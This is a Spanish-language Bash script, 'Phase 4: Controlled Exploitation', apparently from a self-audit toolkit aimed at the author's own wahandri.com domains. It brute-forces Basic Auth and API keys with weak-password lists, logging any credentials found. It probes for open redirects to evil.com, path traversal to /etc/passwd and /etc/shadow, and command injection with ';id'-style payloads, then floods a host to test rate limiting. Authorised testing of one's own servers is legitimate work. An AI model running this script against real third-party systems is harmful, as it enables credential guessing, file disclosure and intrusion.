#!/bin/bash
# Fase 4: Explotación Controlada
# ==============================
# SOLO EJECUTAR CONTRA TU PROPIO SERVIDOR
# Estas pruebas son agresivas - úsalas con cuidado

source /workspace/targets.txt 2>/dev/null || {
    echo "[!] Edita targets.txt primero"
    exit 1
}

REPORT_DIR="/workspace/reports/04-exploit"
mkdir -p "$REPORT_DIR"
DATE=$(date +%Y%m%d_%H%M%S)

echo "=========================================="
echo " FASE 4: EXPLOTACIÓN CONTROLADA"
echo "  (!) SOLO PARA USO AUTORIZADO"
echo "=========================================="

# 1. Prueba de fuerza bruta a Basic Auth (servidor.wahandri.com)
echo "[*] Probando autenticación Basic Auth..."
echo "  Objetivo: https://$SERVER_DOMAIN"
echo "  Usuario conocido: $BASIC_AUTH_USER"
echo "  Probando contraseñas débiles comunes..."

# Lista pequeña de contraseñas para test (NO usar en producción ajena)
for pass in admin 123456 password wahandri servidor admin123 changeme; do
    status=$(curl -s -o /dev/null -w "%{http_code}" -u "$BASIC_AUTH_USER:$pass" \
        "https://$SERVER_DOMAIN" 2>/dev/null)
    if [ "$status" != "401" ]; then
        echo "  [!] ¡POSIBLE CREDENCIAL ENCONTRADA! $BASIC_AUTH_USER:$pass -> $status"
        echo "$BASIC_AUTH_USER:$pass" >> "$REPORT_DIR/creds-found-$DATE.txt"
    fi
done | tee "$REPORT_DIR/basic-auth-brute-$DATE.txt"

# 2. Prueba de fuerza bruta a API (api.wahandri.com)
echo -e "\n[*] Probando API Key genérica..."
for key in "admin" "test" "123456" "api-key" "secret" "token"; do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
        -H "X-Api-Key: $key" \
        "https://api.wahandri.com/health" 2>/dev/null)
    echo "  API-Key: $key -> $status"
done | tee "$REPORT_DIR/api-key-brute-$DATE.txt"

# 3. Open Redirect / SSRF test
echo -e "\n[*] Probando Open Redirect/SSRF..."
for domain in "${DOMAINS[@]}"; do
    for param in url redirect next return dest; do
        response=$(curl -s -o /dev/null -w "%{http_code}" \
            "https://$domain/?$param=https://evil.com" 2>/dev/null)
        echo "  $domain ?$param=evil -> $response"
    done
done | tee "$REPORT_DIR/ssrf-test-$DATE.txt"

# 4. Path traversal test
echo -e "\n[*] Probando Path Traversal..."
for domain in "${DOMAINS[@]}"; do
    for path in "/../../etc/passwd" "/%2e%2e/%2e%2e/etc/passwd" "/../../../etc/shadow"; do
        response=$(curl -s -o /dev/null -w "%{http_code}" "https://$domain$path" 2>/dev/null)
        echo "  $domain $path -> $response"
    done
done | tee "$REPORT_DIR/path-traversal-$DATE.txt"

# 5. Prueba de inyección de comandos (básico)
echo -e "\n[*] Probando Command Injection básico..."
for domain in "${DOMAINS[@]}"; do
    for payload in ";id" "|id" "&&id" "`id`"; do
        status=$(curl -s -o /dev/null -w "%{http_code}" \
            "https://$domain/$payload" 2>/dev/null)
        echo "  $domain $payload -> $status"
    done
done | tee "$REPORT_DIR/command-injection-$DATE.txt"

# 6. Rate limiting test
echo -e "\n[*] Probando Rate Limiting..."
echo "  Enviando 50 requests rápidas a $SERVER_DOMAIN..."
hits=0
blocks=0
for i in $(seq 1 50); do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
        "https://$SERVER_DOMAIN" 2>/dev/null)
    if [ "$status" = "429" ]; then
        blocks=$((blocks+1))
    else
        hits=$((hits+1))
    fi
done
echo "  Exitosas: $hits | Bloqueadas (429): $blocks" \
    | tee "$REPORT_DIR/rate-limit-$DATE.txt"

echo -e "\n[+] Fase 4 completa. Reportes en: $REPORT_DIR"
echo "  (!) Revisa los resultados y documenta cualquier hallazgo."